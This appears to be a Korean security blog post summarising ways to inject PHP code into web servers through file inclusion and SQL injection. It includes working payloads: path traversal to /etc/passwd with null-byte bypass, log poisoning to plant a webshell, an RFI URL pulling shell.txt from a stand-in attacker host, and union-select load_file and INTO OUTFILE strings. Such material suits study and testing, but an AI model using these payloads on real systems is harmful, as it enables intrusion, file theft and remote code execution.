PHP Code를 Injection하는 여러가지 방법을 알아볼 것이다.
이것은 WOWHACKER에서 b0BaNa님이 번역하신 것을 정리한 문서이다.
1. File Inclusion을 이용한 방법
2. SQL Injection을 이용한 방법
1-1. File Inclusion이란?
- LFI, RFI로 잘 알려진 기법으로 파일을 호출하여 삽입하는 include, require, include_once, require_once 함수를 사용하는 곳에서 시큐어코딩을 하지 않았을 때 발생할 수 있는 취약점이다.
1-2. 원하는 파일 내용 보기 (웹 유저가 읽기가능한 파일만 볼 수 있음)
1) 단순히 삽입만 하는 경우
- require($file)일 경우 그냥 ?file=../../../../etc/passwd하면 된다.
- require($_COOKIE['lang']); 같이 코딩되어있을 경우 쿠키값에 원하는 값을 넣는 방식으로 취약점이 발생할 수 있다.
2) 뒤에 확장자가 붙어있는 경우
- require($file.".php")같은 경우 원하는 파일을 읽고 싶다면 뒤에 널 문자를 넣으면 된다.
- ?file=../../../../etc/passwd%00
- PHP의 경우 보안 업데이트가 되어 5.3.4버전 이후로는 널문자 삽입을 이용한 취약점이 불가하다.
1-3. 한줄 웹쉘 삽입하기
- 아파치 서버의 경우 로그가 access_log와 error_log에 저장된다는 것을 이용하여 한줄 웹쉘을 해당 로그 파일들에 저장을 하고 그 파일을 삽입시켜 웹쉘을 이용할 수 있따는 취약점이 존재한다.
- 문서의 경우 존재하지 않는 파일 뒤에 웹쉘코드를 삽입하라고 하였는데 나의 서버의 경우 그렇게 하면 error.log에 해당 파일이 존재하지 않는다는 에러가 저장되었다. 그래서 존재하는 파일 뒤에 웹쉘을 넣으니 해당 코드가 들어가는 것 처럼 보였으나 <와 >가 lt, gt로 변환되어 코드를 제대로 사용할 수 없는 상황이다. (이 부분에 대한 해답은 뒤에 나온다)
※ 기본 로그 저장 위치 (access log는 error 대신 access를 넣으면 된다)
/var/log/httpd/error_log ← RHEL / Red Hat / CentOS / Fedora Linux Apache
/var/log/apache2/error.log ← Debian / Ubuntu Linux Apache (내 서버)
/var/log/httpd-error.log ← FreeBSD Apache
※ 로그 저장 위치가 바뀌었을 경우 참고할 파일
grep ErrorLog /usr/local/etc/apache22/httpd.conf
grep ErrorLog /etc/apache2/apache2.conf
grep ErrorLog /etc/httpd/conf/httpd.conf
1.3.1) error_log에 삽입
- 존재하지 않는 파일을 호출하거나 존재하지 않는 파일을 호출하며 User-Agent에 한줄 웹쉘을 입력해도 똑같이 해당 파일이 존재하지 않는다는 로그만 적힌다.
- 반면에 존재하지 않는 파일을 호출하면서 Referer에 PHP 코드를 작성하게 되면 해당 코드가 그대로 Error_log에 삽입되는 것을 볼 수 있다.
1.3.2) Access_log에 삽입
- 엑세스 로그의 경우는 error 로그보다 더 가능성이 높다. error log와 달리 User-Agent에 코드를 삽입했을 경우에도 그대로 보인다.
- access_log에 삽입되어야 하므로 존재하는 파일에 코드를 삽입해야 로그가 쌓인다.
- 첫번째는 존재하는 파일의 파라미터에 삽입한 경우이다. 코드가 URL 인코딩되어 들어간 것을 볼 수 있고 때문에 PHP 코드 실행이 되지 않는다.
- 두번째는 User-Agent에 삽입한 경우인데 제대로 들어간 것을 볼 수 있다.
- 세번째는 Referer에 삽입한 경우인데 제대로 들어간 것을 볼 수 있다.
1.3.3) 그림에 삽입
- 난 edjpgcom.exe를 사용하여 사진 안에 PHP 코드를 삽입하였다.
- edjpgcom.exe가 있는 폴더에서 cmd 창을 열어 edjpgcom [코드를 삽입할 파일명] 을 입력해주면 아래와 같은 창이 뜨는데 여기에 PHP 코드를 삽입하면 된다.
해당 파일을 서버에 올려두고 LFI 취약점이 존재하는 곳에서 호출하면서 cmd 뒤에 원하는 명령어를 삽입하면 그 결과가 뜨는 것을 볼 수 있다.
1.3.4) RFI (Remote File Inclusion)
- 확장자가 php가 아니라 그 이외의 확장자여야 한다. 그 이유는 php 파일을 불러올 경우 해당 php가 실행된 결과물을 가져오기 때문에 공격지 서버에서 동작을 하지 않는다.
- 다른 확장자일 경우 그대로 가져오기 때문에 코드가 공격지 서버에 삽입이 되고 공격지 서버에서 php코드를 실행시키기 때문에 우리가 원하는대로 공격지에서 php 코드가 실행된다.
ex) http://host/?file=http://devil.com/shell.txt
http://host/?file=http://devil.com/shell.txt%00
1.3.5) 그 이외
- FTP 로그인 시 ID 부분에 PHP 코드 입력 후 ftp log파일 이용
- PUT 메소드를 이용하여 PHP 코드가 담긴 파일 생성
2.1 SQL Injection을 이용한 웹쉘 삽입
- SQL Injection을 이용하면 서버 내 파일을 읽을 수도, 파일을 생성할 수도 있다.
2.2 서버 내 파일 읽기
- 자세한 건 다른 포스팅을 통해 알길 바란다.
- order by 를 이용하여 column 수 확인
- 기존의 데이터가 존재하지 않는 값을 넣어 아무것도 뜨지 않도록 만든 뒤 union select를 이용하여 어떤 컬럼의 데이터가 페이지 상에 뜨는지 확인한다.
- 해당 컬럼에 데이터를 출력하도록 한다.
ex) 컬럼이 4개이고 네번 째 컬럼의 값이 뜬다는 것을 확인하였을 떄
http://rootable.com?id=-1 union select 1,2,3,load_file('/etc/passwd')
- 만약 싱글쿼터가 차단된다면 hex값 혹은 binary값을 통해 우회할 수 있다.
ex) http://rootable.com?id=-1 union select 1,2,3,load_file(0x2f6574632f706173737764)
http://rootable.com?id=-1 union select 1,2,3,load_file(0b0010111101100101011101000110001100101111011100000110000101110011011100110111011101100100)
2.3 서버에 파일 생성
- select 내용 into outfile "파일 이름"
- http://rootable.com?id=-1 union select 1,"<?php+phpinfo()?>,3 into outfile "/var/www/rootable.com/www/phpinfo.php"
- 파일 이름에 들어가는 것은 반드시 절대경로여야 한다.
* 문서에 나오는 프로세스 관련된 부분은 아직 이해가 안된다.
- /proc/(PID)/fd/(FD_ID)
- /proc/self/environ
- /proc/self/stat
참고 문서
- http://unikys.tistory.com/248
-
'Hacking > Web' 카테고리의 다른 글
보안진단 크롬 플러그인 (0) | 2018.04.17 |
---|---|
[CVE-2017-5487] 워드프레스 REST API 관련 취약점 (0) | 2018.03.30 |
Oracle 을 통해 JAVA 코드 사용 (0) | 2018.02.05 |
XXE Injection (0) | 2018.02.01 |
SQL Injection With raw MD5 hash (0) | 2018.01.22 |